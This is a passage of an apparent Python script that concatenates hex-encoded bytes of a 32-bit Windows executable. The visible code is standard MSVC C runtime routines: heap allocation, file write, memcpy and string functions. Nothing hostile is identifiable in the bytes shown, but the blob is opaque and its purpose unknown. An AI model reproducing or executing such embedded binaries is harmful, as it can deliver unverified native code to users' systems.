+b'a1a4fc40006bc91403c8eb118b55082b500c81fa00001000720983c0143bc172eb33c0' \
+b'5dc38bff558bec83ec108b4d088b4110568b750c578bfe2b790c83c6fcc1ef0f8bcf69' \
+b'c9040200008d8c0144010000894df08b0e49894dfcf6c1010f85d3020000538d1c318b' \
+b'138955f48b56fc8955f88b55f4895d0cf6c2017574c1fa044a83fa3f76036a3f5a8b4b' \
+b'043b4b087542bb0000008083fa2073198bcad3eb8d4c0204f7d3215cb844fe0975238b' \
+b'4d082119eb1c8d4ae0d3eb8d4c0204f7d3219cb8c4000000fe0975068b4d082159048b' \
+b'5d0c8b53088b5b048b4dfc034df4895a048b550c8b5a048b5208895308894dfc8bd1c1' \
+b'fa044a83fa3f76036a3f5a8b5df883e301895df40f858f0000002b75f88b5df8c1fb04' \
+b'6a3f89750c4b5e3bde76028bde034df88bd1c1fa044a894dfc3bd676028bd63bda745e' \
+b'8b4d0c8b71043b7108753bbe0000008083fb2073178bcbd3eef7d62174b844fe4c0304' \
+b'75218b4d082131eb1a8d4be0d3eef7d621b4b8c4000000fe4c030475068b4d08217104' \
+b'8b4d0c8b71088b4904894e048b4d0c8b71048b4908894e088b750ceb038b5d08837df4' \
+b'0075083bda0f84800000008b4df08d0cd18b5904894e08895e048971048b4e04897108' \
+b'8b4e043b4e0875608a4c0204884d0ffec1884c020483fa207325807d0f00750e8bcabb' \
+b'00000080d3eb8b4d080919bb000000808bcad3eb8d44b8440918eb29807d0f0075108d' \
+b'4ae0bb00000080d3eb8b4d080959048d4ae0ba00000080d3ea8d84b8c400000009108b' \
+b'45fc8906894430fc8b45f0ff080f85f3000000a1c0fb400085c00f84d80000008b0db4' \
+b'fc40008b350cb140006800400000c1e10f03480cbb008000005351ffd68b0db4fc4000' \
+b'a1c0fb4000ba00000080d3ea095008a1c0fb40008b40108b0db4fc400083a488c40000' \
+b'0000a1c0fb40008b4010fe4843a1c0fb40008b4810807943007509836004fea1c0fb40' \
+b'00837808ff7565536a00ff700cffd6a1c0fb4000ff70106a00ff35fcf94000ff15d0b0' \
+b'40008b0da0fc4000a1c0fb40006bc9148b15a4fc40002bc88d4c11ec518d48145150e8' \
+b'742f00008b450883c40cff0da0fc40003b05c0fb40007604836d0814a1a4fc4000a3ac' \
+b'fc40008b4508a3c0fb4000893db4fc40005b5f5ec9c3a1b0fc4000568b35a0fc400057' \
+b'33ff3bf0753483c0106bc01450ff35a4fc400057ff35fcf94000ff1540b140003bc775' \
+b'0433c0eb788305b0fc4000108b35a0fc4000a3a4fc40006bf6140335a4fc400068c441' \
+b'00006a08ff35fcf94000ff1538b140008946103bc774c76a0468002000006800001000' \
+b'57ff153cb1400089460c3bc77512ff761057ff35fcf94000ff15d0b04000eb9b834e08' \
+b'ff893e897e04ff05a0fc40008b46108308ff8bc65f5ec38bff558bec51518b4d088b41' \
+b'0853568b71105733dbeb0303c04385c07df98bc369c0040200008d8430440100006a3f' \
+b'8945f85a89400889400483c0084a75f46a048bfb6800100000c1e70f03790c68008000' \
+b'0057ff153cb1400085c0750883c8ffe99d0000008d97007000008955fc3bfa77438bca' \
+b'2bcfc1e90c8d4710418348f8ff8388ec0f0000ff8d90fc0f000089108d90fcefffffc7' \
+b'40fcf00f0000895004c780e80f0000f00f000005001000004975cb8b55fc8b45f805f8' \
+b'0100008d4f0c8948048941088d4a0c89480889410483649e440033ff4789bc9ec40000' \
+b'008a46438ac8fec184c08b4508884e437503097804ba000000808bcbd3eaf7d2215008' \
+b'8bc35f5e5bc9c38bff558bec83ec0c8b4d088b411053568b7510578b7d0c8bd72b510c' \
+b'83c617c1ea0f8bca69c9040200008d8c0144010000894df48b4ffc83e6f0493bf18d7c' \
+b'39fc8b1f894d10895dfc0f8e55010000f6c3010f854501000003d93bf30f8f3b010000' \
+b'8b4dfcc1f90449894df883f93f76066a3f59894df88b5f043b5f087543bb0000008083' \
+b'f920731ad3eb8b4df88d4c0104f7d3215c9044fe0975268b4d082119eb1f83c1e0d3eb' \
+b'8b4df88d4c0104f7d3219c90c4000000fe0975068b4d082159048b4f088b5f04895904' \
+b'8b4f048b7f088979088b4d102bce014dfc837dfc000f8ea50000008b7dfc8b4d0cc1ff' \
+b'044f8d4c31fc83ff3f76036a3f5f8b5df48d1cfb895d108b5b048959048b5d10895908' \
+b'894b048b5904894b088b59043b590875578a4c0704884d13fec1884c070483ff20731c' \
+b'807d1300750e8bcfbb00000080d3eb8b4d0809198d4490448bcfeb20807d130075108d' \
+b'4fe0bb00000080d3eb8b4d080959048d8490c40000008d4fe0ba00000080d3ea09108b' \
+b'550c8b4dfc8d4432fc8908894c01fceb038b550c8d46018942fc894432f8e93c010000' \
+b'33c0e9380100000f8d2f0100008b5d0c2975108d4e01894bfc8d5c33fc8b7510c1fe04' \
+b'4e895d0c894bfc83fe3f76036a3f5ef645fc010f85800000008b75fcc1fe044e83fe3f' \
+b'76036a3f5e8b4f043b4f087542bb0000008083fe2073198bced3eb8d740604f7d3215c' \
+b'9044fe0e75238b4d082119eb1c8d4ee0d3eb8d4c0604f7d3219c90c4000000fe097506' \
+b'8b4d082159048b5d0c8b4f088b77048971048b77088b4f048971088b75100375fc8975' \
+b'10c1fe044e83fe3f76036a3f5e8b4df48d0cf18b7904894b08897b048959048b4b0489' \
+b'59088b4b043b4b0875578a4c0604884d0ffec1884c060483fe20731c807d0f00750e8b' \
+b'cebf00000080d3ef8b4d0809398d4490448bceeb20807d0f0075108d4ee0bf00000080' \
+b'd3ef8b4d080979048d8490c40000008d4ee0ba00000080d3ea09108b45108903894418' \
+b'fc33c0405f5e5bc9c38bff558bec83ec14a1a0fc40008b4d086bc0140305a4fc400083' \
+b'c11783e1f0894df0c1f904534983f92056577d0b83ceffd3ee834df8ffeb0d83c1e083' \
+b'caff33f6d3ea8955f88b0dacfc40008bd9eb118b53048b3b2355f823fe0bd7750a83c3' \
+b'14895d083bd872e83bd8757f8b1da4fc4000eb118b53048b3b2355f823fe0bd7750a83' \
+b'c314895d083bd972e83bd9755beb0c837b0800750a83c314895d083bd872f03bd87531' \
+b'8b1da4fc4000eb09837b0800750a83c314895d083bd972f03bd97515e8a0faffff8bd8' \
+b'895d0885db750733c0e90902000053e83afbffff598b4b1089018b43108338ff74e589' \
+b'1dacfc40008b43108b108955fc83faff74148b8c90c40000008b7c9044234df823fe0b' \
+b'cf75298365fc008b90c40000008d48448b392355f823fe0bd7750eff45fc8b91840000' \
+b'0083c104ebe78b55fc8bca69c9040200008d8c0144010000894df48b4c904433ff23ce' \
+b'75128b8c90c4000000234df86a205feb0303c94785c97df98b4df48b54f9048b0a2b4d' \
+b'f08bf1c1fe044e83fe3f894df87e036a3f5e3bf70f84010100008b4a043b4a08755c83' \
+b'ff20bb000000807d268bcfd3eb8b4dfc8d7c3804f7d3895dec235c8844895c8844fe0f' \
+b'75338b4dec8b5d08210beb2c8d4fe0d3eb8b4dfc8d8c88c40000008d7c3804f7d32119' \
+b'fe0f895dec750b8b5d088b4dec214b04eb038b5d08837df8008b4a088b7a048979048b' \
+b'4a048b7a088979080f848d0000008b4df48d0cf18b7904894a08897a048951048b4a04' \
+b'8951088b4a043b4a08755e8a4c0604884d0bfec183fe20884c06047d23807d0b00750b' \
+b'bf000000808bced3ef093b8bcebf00000080d3ef8b4dfc097c8844eb29807d0b00750d' \
+b'8d4ee0bf00000080d3ef097b048b4dfc8dbc88c40000008d4ee0be00000080d3ee0937' \
+b'8b4df885c9740b890a894c11fceb038b4df88b75f003d18d4e01890a894c32fc8b75f4' \
+b'8b0e8d7901893e85c9751a3b1dc0fb400075128b4dfc3b0db4fc400075078325c0fb40' \
+b'00008b4dfc89088d42045f5e5bc9c36a0c6840c74000e8fdc1ffff8365e4008b75083b' \
+b'35a8fc400077226a04e80be5ffff598365fc0056e8eefcffff598945e4c745fcfeffff' \
+b'ffe8090000008b45e4e809c2ffffc36a04e806e4ffff59c38bff558bec568b750883fe' \
+b'e00f87a100000053578b3d38b14000833dfcf94000007518e829dbffff6a1ee877d9ff' \
+b'ff68ff000000e86abdffff5959a1bcfc400083f801750e85f674048bc6eb0333c04050' \
+b'eb1c83f803750b56e853ffffff5985c0751685f675014683c60f83e6f0566a00ff35fc' \
+b'f94000ffd78bd885db752e6a0c5e3905e4fb40007415ff7508e8def2ffff5985c0740f' \
+b'8b7508e97bffffffe84cc3ffff8930e845c3ffff89305f8bc35beb1456e8b7f2ffff59' \
+b'e831c3ffffc7000c00000033c05e5dc36a0c6860c74000e8e4c0ffff8b4d0833ff3bcf' \
+b'762e6ae05833d2f7f13b450c1bc040751fe8fdc2ffffc7000c0000005757575757e8da' \
+b'c5ffff83c41433c0e9d50000000faf4d0c8bf18975083bf7750333f64633db895de483' \
+b'fee07769833dbcfc400003754b83c60f83e6f089750c8b45083b05a8fc400077376a04' \
+b'e893e3ffff59897dfcff7508e875fbffff598945e4c745fcfeffffffe85f0000008b5d' \
+b'e43bdf7411ff75085753e8dab0ffff83c40c3bdf7561566a08ff35fcf94000ff1538b1' \
+b'40008bd83bdf754c393de4fb4000743356e8cef1ffff5985c00f8572ffffff8b45103b' \
+b'c70f8450ffffffc7000c000000e945ffffff33ff8b750c6a04e837e2ffff59c33bdf75' \
+b'0d8b45103bc77406c7000c0000008bc3e818c0ffffc36a106880c74000e8c6bfffff8b' \
+b'5d0885db750eff750ce8fdfdffff59e9cc0100008b750c85f6750c53e823c2ffff59e9' \
+b'b7010000833dbcfc4000030f859301000033ff897de483fee00f878a0100006a04e8a0' \
+b'e2ffff59897dfc53e8a5f2ffff598945e03bc70f849e0000003b35a8fc400077495653' \
+b'50e887f7ffff83c40c85c07405895de4eb3556e856faffff598945e43bc774278b43fc' \
+b'483bc672028bc65053ff75e4e8e014000053e855f2ffff8945e05350e87bf2ffff83c4' \
+b'18397de475483bf7750633f64689750c83c60f83e6f089750c5657ff35fcf94000ff15' \
+b'38b140008945e43bc774208b43fc483bc672028bc65053ff75e4e88c14000053ff75e0' \
+b'e82ef2ffff83c414c745fcfeffffffe82e000000837de000753185f675014683c60f83' \
+b'e6f089750c56536a00ff35fcf94000ff1540b140008bf8eb128b750c8b5d086a04e8d1' \
+b'e0ffff59c38b7de485ff0f85bf000000393de4fb4000742c56e822f0ffff5985c00f85' \
+b'd2feffffe894c0ffff397de0756c8bf0ff1580b0400050e83fc0ffff598906eb5f85ff' \
+b'0f8583000000e86fc0ffff397de07468c7000c000000eb7185f675014656536a00ff35' \
+b'fcf94000ff1540b140008bf885ff75563905e4fb4000743456e8b9efffff5985c0741f' \
+b'83fee076cd56e8a9efffff59e823c0ffffc7000c00000033c0e825beffffc3e810c0ff' \
+b'ffe97cffffff85ff7516e802c0ffff8bf0ff1580b0400050e8b2bfffff8906598bc7eb' \
+b'd26a1068a0c74000e8abbdffff33db895de46a01e8c3e0ffff59895dfc6a035f897de0' \
+b'3b3d000e41007d578bf7c1e602a1e4fd400003c6391874448b00f6400c83740f50e803' \
+b'2700005983f8ff7403ff45e483ff147c28a1e4fd40008b040683c02050ff1504b14000' \
+b'a1e4fd4000ff3406e8c1bfffff59a1e4fd4000891c0647eb9ec745fcfeffffffe80900' \
+b'00008b45e4e867bdffffc36a01e864dfffff59c38bff558bec53568b75088b460c8bc8' \
+b'80e10333db80f9027540a90801000074398b4608578b3e2bf885ff7e2c575056e8c301' \
+b'00005950e8bb0d000083c40c3bc7750f8b460c84c0790f83e0fd89460ceb07834e0c20' \
+b'83cbff5f8b46088366040089065e8bc35b5dc38bff558bec568b750885f6750956e835' \
+b'00000059eb2f56e87cffffff5985c0740583c8ffeb1ff7460c00400000741456e85a01' \
+b'000050e88526000059f7d8591bc0eb0233c05e5dc36a1468c0c74000e85cbcffff33ff' \
+b'897de4897ddc6a01e871dfffff59897dfc33f68975e03b35000e41000f8d83000000a1' \
+b'e4fd40008d04b03938745e8b00f6400c8374565056e87ec2ffff595933d2428955fca1' \
+b'e4fd40008b04b08b480cf6c183742f395508751150e84affffff5983f8ff741eff45e4' \
+b'eb19397d087514f6c102740f50e82fffffff5983f8ff75030945dc897dfce808000000' \
+b'46eb8433ff8b75e0a1e4fd4000ff34b056e887c2ffff5959c3c745fcfeffffffe81200' \
+b'0000837d08018b45e474038b45dce8ddbbffffc36a01e8daddffff59c36a01e81fffff' \
+b'ff59c38bff558bec8b450883f8fe750fe8a9bdffffc7000900000033c05dc35633f63b' \
+b'c67c083b05c0fc4000721ce88bbdffff5656565656c70009000000e868c0ffff83c414' \
+b'33c0eb1a8bc883e01fc1f9058b0c8de0fc4000c1e0060fbe44010483e0405e5dc38bff' \
+b'558bec8b45085633f63bc6751de843bdffff5656565656c70016000000e820c0ffff83' \
+b'c41483c8ffeb038b40105e5dc3cccccccccccccc8b4c2404f7c10300000074248a0183' \
+b'c10184c0744ef7c10300000075ef05000000008da424000000008da424000000008b01' \
+b'bafffefe7e03d083f0ff33c283c104a90001018174e88b41fc84c0743284e47424a900' \
+b'00ff007413a9000000ff7402ebcd8d41ff8b4c24042bc1c38d41fe8b4c24042bc1c38d' \
+b'41fd8b4c24042bc1c38d41fc8b4c24042bc1c38bff558bec83ec1053568b750c33db57' \
+b'8b7d103bf375143bfb76108b45083bc37402891833c0e9830000008b45083bc3740383' \
+b'08ff81ffffffff7f761be851bcffff6a165e53535353538930e82fbfffff83c4148bc6' \
+b'eb56ff75188d4df0e8c8c1ffff8b45f03958140f859c000000668b4514b9ff00000066' \
+b'3bc176363bf3740f3bfb760b575356e868aaffff83c40ce8febbffffc7002a000000e8' \
+b'f3bbffff8b00385dfc74078b4df8836170fd5f5e5bc9c33bf374323bfb772ce8d3bbff' \
+b'ff6a225e53535353538930e8b1beffff83c414385dfc0f8479ffffff8b45f8836070fd' \
+b'e96dffffff88068b45083bc37406c70001000000385dfc0f8425ffffff8b45f8836070' \
+b'fde919ffffff8d4d0c515357566a018d4d145153895d0cff7004ff15f0b040003bc374' \
+b'14395d0c0f855effffff8b4d083bcb74bd8901ebb9ff1580b0400083f87a0f8544ffff' \
+b'ff3bf30f8467ffffff3bfb0f865fffffff575356e891a9ffff83c40ce94fffffff8bff' \
+b'558bec6a00ff7514ff7510ff750cff7508e87cfeffff83c4145dc38bff558bec83ec10' \
+b'ff750c8d4df0e88fc0ffff0fb645088b4df08b89c80000000fb704412500800000807d' \
+b'fc0074078b4df8836170fdc9c38bff558bec6a00ff7508e8b9ffffff59595dc3cc568b' \
+b'4424140bc075288b4c24108b44240c33d2f7f18bd88b442408f7f18bf08bc3f7642410' \
+b'8bc88bc6f764241003d1eb478bc88b5c24108b54240c8b442408d1e9d1dbd1ead1d80b' \
+b'c975f4f7f38bf0f76424148bc88b442410f7e603d1720e3b54240c7708720f3b442408' \
+b'76094e2b4424101b54241433db2b4424081b54240cf7daf7d883da008bca8bd38bd98b' \
+b'c88bc65ec210008bff558bec51518b450c568b75088945f88b451057568945fce8a625' \
+b'000083cfff593bc77511e8feb9ffffc700090000008bc78bd7eb4aff75148d4dfc51ff' \
+b'75f850ff1544b140008945f83bc77513ff1580b0400085c0740950e8f0b9ffff59ebcf' \
+b'8bc6c1f8058b0485e0fc400083e61fc1e6068d4430048020fd8b45f88b55fc5f5ec9c3' \
+b'6a1468e8c74000e862b7ffff83ceff8975dc8975e08b450883f8fe751ce895b9ffff83' \
+b'2000e87ab9ffffc700090000008bc68bd6e9d000000033ff3bc77c083b05c0fc400072' \
+b'21e86bb9ffff8938e851b9ffffc700090000005757575757e82ebcffff83c414ebc88b' \
+b'c8c1f9058d1c8de0fc40008bf083e61fc1e6068b0b0fbe4c310483e1017526e82ab9ff' \
+b'ff8938e810b9ffffc700090000005757575757e8edbbffff83c41483caff8bc2eb5b50' \
+b'e80225000059897dfc8b03f644300401741cff7514ff7510ff750cff7508e8a9feffff' \
+b'83c4108945dc8955e0eb1ae8c2b8ffffc70009000000e8cab8ffff8938834ddcff834d' \
+b'e0ffc745fcfeffffffe80c0000008b45dc8b55e0e8a5b6ffffc3ff7508e83f25000059' \
+b'c38bff558becb8e41a0000e85ea7ffffa100e0400033c58945fc8b450c5633f6898534' \
+b'e5ffff89b538e5ffff89b530e5ffff397510750733c0e9e90600003bc67527e858b8ff' \
+b'ff8930e83eb8ffff5656565656c70016000000e81bbbffff83c41483c8ffe9be060000' \
+b'53578b7d088bc7c1f8058d3485e0fc40008b0683e71fc1e70603c78a582402dbd0fb89' \
+b'b528e5ffff889d27e5ffff80fb02740580fb0175308b4d10f7d1f6c1017526e8efb7ff' \
+b'ff33f68930e8d3b7ffff5656565656c70016000000e8b0baffff83c414e943060000f6' \
+b'40042074116a026a006a00ff7508e87efdffff83c410ff7508e8e1f9ffff5985c00f84' \
+b'9d0200008b06f6440704800f8490020000e81dacffff8b406c33c93948148d851ce5ff' \
+b'ff0f94c1508b06ff3407898d20e5ffffff154cb1400085c00f846002000033c9398d20' \
+b'e5ffff740884db0f8450020000ff1548b140008b9d34e5ffff89851ce5ffff33c08985' \
+b'3ce5ffff3945100f8642050000898544e5ffff8a8527e5ffff84c00f85670100008a0b' \
+b'8bb528e5ffff33c080f90a0f94c0898520e5ffff8b0603c78378380074158a50348855' \
+b'f4884df5836038006a028d45f450eb4b0fbec150e8fdfbffff5985c0743a8b8d34e5ff' \
+b'ff2bcb034d1033c0403bc80f86a50100006a028d8540e5ffff5350e85a25000083c40c' \
+b'83f8ff0f84b104000043ff8544e5ffffeb1b6a01538d8540e5ffff50e83625000083c4' \
+b'0c83f8ff0f848d04000033c050506a058d4df4516a018d8d40e5ffff5150ffb51ce5ff' \
+b'ff43ff8544e5ffffff15f0b040008bf085f60f845c0400006a008d853ce5ffff50568d' \
+b'45f4508b8528e5ffff8b00ff3407ff153cb0400085c00f84290400008b8544e5ffff8b' \
+b'8d30e5ffff03c139b53ce5ffff898538e5ffff0f8c1504000083bd20e5ffff000f84cd' \
+b'0000006a008d853ce5ffff506a018d45f4508b8528e5ffff8b00c645f40dff3407ff15' \
+b'3cb0400085c00f84d003000083bd3ce5ffff010f8ccf030000ff8530e5ffffff8538e5' \
+b'ffffe9830000003c0174043c0275210fb73333c96683fe0a0f94c14343838544e5ffff' \
+b'0289b540e5ffff898d20e5ffff3c0174043c027552ffb540e5ffffe84322000059663b' \
+b'8540e5ffff0f8568030000838538e5ffff0283bd20e5ffff0074296a0d5850898540e5' \
+b'ffffe81622000059663b8540e5ffff0f853b030000ff8538e5ffffff8530e5ffff8b45' \
+b'10398544e5ffff0f82f9fdffffe9270300008b0e8a13ff8538e5ffff88540f348b0e89' \
+b'440f38e90e03000033c98b0603c7f64004800f84bf0200008b8534e5ffff898d40e5ff' \
+b'ff84db0f85ca00000089853ce5ffff394d100f8620030000eb068bb528e5ffff8b8d3c' \
+b'e5ffff83a544e5ffff002b8d34e5ffff8d8548e5ffff3b4d1073398b953ce5ffffff85' \
+b'3ce5ffff8a124180fa0a7510ff8530e5ffffc6000d40ff8544e5ffff881040ff8544e5' \
+b'ffff81bd44e5ffffff13000072c28bd88d8548e5ffff2bd86a008d852ce5ffff50538d' \
+b'8548e5ffff508b06ff3407ff153cb0400085c00f84420200008b852ce5ffff018538e5' \
+b'ffff3bc30f8c3a0200008b853ce5ffff2b8534e5ffff3b45100f824cffffffe9200200' \
+b'00898544e5ffff80fb020f85d1000000394d100f864d020000eb068bb528e5ffff8b8d' \
+b'44e5ffff83a53ce5ffff002b8d34e5ffff8d8548e5ffff3b4d1073468b9544e5ffff83' \
+b'8544e5ffff020fb71241416683fa0a7516838530e5ffff026a0d5b668918404083853c' \
+b'e5ffff0283853ce5ffff02668910404081bd3ce5fffffe13000072b58bd88d8548e5ff' \
+b'ff2bd86a008d852ce5ffff50538d8548e5ffff508b06ff3407ff153cb0400085c00f84' \
+b'620100008b852ce5ffff018538e5ffff3bc30f8c5a0100008b8544e5ffff2b8534e5ff' \
+b'ff3b45100f823fffffffe940010000394d100f867c0100008b8d44e5ffff83a53ce5ff' \
+b'ff002b8d34e5ffff6a028d8548f9ffff5e3b4d10733c8b9544e5ffff0fb71201b544e5' \
+b'ffff03ce6683fa0a750e6a0d5b66891803c601b53ce5ffff01b53ce5ffff66891003c6' \
+b'81bd3ce5ffffa806000072bf33f6565668550d00008d8df0ebffff518d8d48f9ffff2b' \
+b'c1992bc2d1f8508bc1505668e9fd0000ff15f0b040008bd83bde0f84970000006a008d' \
+b'852ce5ffff508bc32bc6508d8435f0ebffff508b8528e5ffff8b00ff3407ff153cb040' \
+b'0085c0740c03b52ce5ffff3bde7fcbeb0cff1580b04000898540e5ffff3bde7f5c8b85' \
+b'44e5ffff2b8534e5ffff898538e5ffff3b45100f820affffffeb3f6a008d8d2ce5ffff' \
+b'51ff7510ffb534e5ffffff30ff153cb0400085c074158b852ce5ffff83a540e5ffff00' \
+b'898538e5ffffeb0cff1580b04000898540e5ffff83bd38e5ffff00756c83bd40e5ffff' \
+b'00742d6a055e39b540e5ffff7514e8c6b1ffffc70009000000e8ceb1ffff8930eb3fff' \
+b'b540e5ffffe8d2b1ffff59eb318bb528e5ffff8b06f644070440740f8b8534e5ffff80' \
+b'381a750433c0eb24e886b1ffffc7001c000000e88eb1ffff83200083c8ffeb0c8b8538' \
+b'e5ffff2b8530e5ffff5f5b8b4dfc33cd5ee8a69cffffc9c36a106808c84000e816afff' \
+b'ff8b450883f8fe751be852b1ffff832000e837b1ffffc7000900000083c8ffe99d0000' \
+b'0033ff3bc77c083b05c0fc40007221e829b1ffff8938e80fb1ffffc700090000005757' \
+b'575757e8ecb3ffff83c414ebc98bc8c1f9058d1c8de0fc40008bf083e61fc1e6068b0b' \
+b'0fbe4c310483e10174bf50e8e61c000059897dfc8b03f6443004017416ff7510ff750c' \
+b'ff7508e82ef8ffff83c40c8945e4eb16e8acb0ffffc70009000000e8b4b0ffff893883' \
+b'4de4ffc745fcfeffffffe8090000008b45e4e896aeffffc3ff7508e8301d000059c38b' \
+b'ff558becff05c8f540006800100000e83eb1ffff598b4d0889410885c0740d83490c08' \
+b'c7411800100000eb1183490c048d4114894108c74118020000008b4108836104008901' \
+b'5dc38bff558bec83ec14535657e82da2ffff8365fc00833dc4fb4000008bd80f858e00' \
+b'000068f0ba4000ff152cb140008bf885ff0f842a0100008b35acb0400068e4ba400057' \
+b'ffd685c00f841401000050e877a1ffffc70424d4ba400057a3c4fb4000ffd650e862a1' \
+b'ffffc70424c0ba400057a3c8fb4000ffd650e84da1ffffc70424a4ba400057a3ccfb40' \
+b'00ffd650e838a1ffff59a3d4fb400085c07414688cba400057ffd650e820a1ffff59a3' \
+b'd0fb4000a1d0fb40003bc3744f391dd4fb4000744750e87ea1ffffff35d4fb40008bf0' \
+b'e871a1ffff59598bf885f6742c85ff7428ffd685c074198d4df8516a0c8d4dec516a01' \
+b'50ffd785c07406f645f4017509814d1000002000eb39a1c8fb40003bc3743050e82ea1' \
+b'ffff5985c07425ffd08945fc85c0741ca1ccfb40003bc3741350e811a1ffff5985c074' \
+b'08ff75fcffd08945fcff35c4fb4000e8f9a0ffff5985c07410ff7510ff750cff7508ff' \
+b'75fcffd0eb0233c05f5e5bc9c38bff558bec8b45085333db56573bc374078b7d0c3bfb' \
+b'771be8adaeffff6a165e89305353535353e88bb1ffff83c4148bc6eb3c8b75103bf375' \
+b'048818ebda8bd0381a7404424f75f83bfb74ee8a0e880a42463acb74034f75f33bfb75' \
+b'108818e866aeffff6a225989088bf1ebb533c05f5e5b5dc38bff558bec53568b750833' \
+b'db57395d1475103bf37510395d0c751233c05f5e5b5dc33bf374078b7d0c3bfb771be8' \
+b'24aeffff6a165e89305353535353e802b1ffff83c4148bc6ebd5395d147504881eebca' \
+b'8b55103bd37504881eebd1837d14ff8bc6750f8a0a880840423acb741e4f75f3eb198a' \
+b'0a880840423acb74084f7405ff4d1475ee395d14750288183bfb758b837d14ff750f8b' \
+b'450c6a50885c06ff58e978ffffff881ee8aaadffff6a225989088bf1eb828bff558bec' \
+b'8b4d085333db56573bcb74078b7d0c3bfb771be884adffff6a165e89305353535353e8' \
+b'62b0ffff83c4148bc6eb308b75103bf375048819ebda8bd18a06880242463ac374034f' \
+b'75f33bfb75108819e849adffff6a225989088bf1ebc133c05f5e5b5dc3cc8bff558bec' \
+b'8b4d085633f63bce7c1e83f9027e0c83f9037514a150f24000eb28a150f24000890d50' \
+b'f24000eb1be806adffff5656565656c70016000000e8e3afffff83c41483c8ff5e5dc3' \
+b'8bff558bec83ec10ff75088d4df0e872b2ffff0fb6450c8b4df48a55148454011d751e' \
+b'837d100074128b4df08b89c80000000fb70441234510eb0233c085c0740333c040807d' \
+b'fc0074078b4df8836170fdc9c38bff558bec6a046a00ff75086a00e89affffff83c410' \
+b'5dc3cccccccc558bec57568b750c8b4d108b7d088bc18bd103c63bfe76083bf80f82a4' \
+b'01000081f900010000721f833de0fd4000007416575683e70f83e60f3bfe5e5f75085e' \
+b'5f5de98d1b0000f7c7030000007515c1e90283e20383f908722af3a5ff249514824000' \
+b'908bc7ba0300000083e904720c83e00303c8ff248528814000ff248d2482400090ff24' \
+b'8da88140009038814000648140008881400023d18a0688078a46018847018a4602c1e9' \
+b'0288470283c60383c70383f90872ccf3a5ff2495148240008d490023d18a0688078a46' \
+b'01c1e90288470183c60283c70283f90872a6f3a5ff2495148240009023d18a06880783' \
+b'c601c1e90283c70183f9087288f3a5ff2495148240008d49000b824000f8814000f081' \
+b'4000e8814000e0814000d8814000d0814000c88140008b448ee489448fe48b448ee889' \
+b'448fe88b448eec89448fec8b448ef089448ff08b448ef489448ff48b448ef889448ff8' \
+b'8b448efc89448ffc8d048d0000000003f003f8ff2495148240008bff248240002c8240' \
+b'00388240004c8240008b45085e5fc9c3908a0688078b45085e5fc9c3908a0688078a46' \
+b'018847018b45085e5fc9c38d49008a0688078a46018847018a46028847028b45085e5f' \
+b'c9c3908d7431fc8d7c39fcf7c7030000007524c1e90283e20383f908720dfdf3a5fcff' \
+b'2495b08340008bfff7d9ff248d608340008d49008bc7ba0300000083f904720c83e003' \
+b'2bc8ff2485b4824000ff248db083400090c4824000e8824000108340008a460323d188' \
+b'470383ee01c1e90283ef0183f90872b2fdf3a5fcff2495b08340008d49008a460323d1' \
+b'8847038a4602c1e90288470283ee0283ef0283f9087288fdf3a5fcff2495b083400090' \
+b'8a460323d18847038a46028847028a4601c1e90288470183ee0383ef0383f9080f8256' \
+b'fffffffdf3a5fcff2495b08340008d4900648340006c834000748340007c8340008483' \
+b'40008c83400094834000a78340008b448e1c89448f1c8b448e1889448f188b448e1489' \
+b'448f148b448e1089448f108b448e0c89448f0c8b448e0889448f088b448e0489448f04' \
+b'8d048d0000000003f003f8ff2495b08340008bffc0834000c8834000d8834000ec8340' \
+b'008b45085e5fc9c3908a46038847038b45085e5fc9c38d49008a46038847038a460288' \
+b'47028b45085e5fc9c3908a46038847038a46028847028a46018847018b45085e5fc9c3' \
+b'8bff558bec568b750885f60f8481010000ff7604e849a9ffffff7608e841a9ffffff76' \
+b'0ce839a9ffffff7610e831a9ffffff7614e829a9ffffff7618e821a9ffffff36e81aa9' \
+b'ffffff7620e812a9ffffff7624e80aa9ffffff7628e802a9ffffff762ce8faa8ffffff' \
+b'7630e8f2a8ffffff7634e8eaa8ffffff761ce8e2a8ffffff7638e8daa8ffffff763ce8' \
+b'd2a8ffff83c440ff7640e8c7a8ffffff7644e8bfa8ffffff7648e8b7a8ffffff764ce8' \
+b'afa8ffffff7650e8a7a8ffffff7654e89fa8ffffff7658e897a8ffffff765ce88fa8ff' \
+b'ffff7660e887a8ffffff7664e87fa8ffffff7668e877a8ffffff766ce86fa8ffffff76' \
+b'70e867a8ffffff7674e85fa8ffffff7678e857a8ffffff767ce84fa8ffff83c440ffb6' \
+b'80000000e841a8ffffffb684000000e836a8ffffffb688000000e82ba8ffffffb68c00' \
+b'0000e820a8ffffffb690000000e815a8ffffffb694000000e80aa8ffffffb698000000' \
+b'e8ffa7ffffffb69c000000e8f4a7ffffffb6a0000000e8e9a7ffffffb6a4000000e8de' \
+b'a7ffffffb6a8000000e8d3a7ffff83c42c5e5dc38bff558bec568b750885f674358b06' \
+b'3b0558ed4000740750e8b0a7ffff598b46043b055ced4000740750e89ea7ffff598b76' \
+b'083b3560ed4000740756e88ca7ffff595e5dc38bff558bec568b750885f6747e8b460c' \
+b'3b0564ed4000740750e86aa7ffff598b46103b0568ed4000740750e858a7ffff598b46' \
+b'143b056ced4000740750e846a7ffff598b46183b0570ed4000740750e834a7ffff598b' \
+b'461c3b0574ed4000740750e822a7ffff598b46203b0578ed4000740750e810a7ffff59' \
+b'8b76243b357ced4000740756e8fea6ffff595e5dc38bff558bec8b450885c0741283e8' \
+b'088138dddd0000750750e8dda6ffff595dc3cccccc558bec5633c05050505050505050' \
+b'8b550c8d49008a020ac0740983c2010fab0424ebf18b750883c9ff8d490083c1018a06' \
+b'0ac0740983c6010fa3042473ee8bc183c4205ec9c3cccccccccccccccccccc8b542404' \
+b'8b4c2408f7c203000000753c8b023a01752e0ac074263a610175250ae4741dc1e8103a' \
+b'410275190ac074113a6103751083c10483c2040ae475d28bff33c0c3901bc0d1e083c0' \
+b'01c3f7c20100000074188a0283c2013a0175e783c1010ac074dcf7c20200000074a466' \
+b'8b0283c2023a0175ce0ac074c63a610175c50ae474bd83c102eb888bff558bec5151a1' \
+b'00e0400033c58945fca1dcfb4000535633db578bf93bc3753a8d45f85033f646566834' \
+b'c4400056ff155cb1400085c074088935dcfb4000eb34ff1580b0400083f878750a6a02' \
+b'58a3dcfb4000eb05a1dcfb400083f8020f84cf0000003bc30f84c700000083f8010f85' \
+b'e8000000895df8395d1875088b078b40048945188b3558b1400033c0395d205353ff75' \
+b'100f95c0ff750c8d04c50100000050ff7518ffd68bf83bfb0f84ab0000007e3c81fff0' \
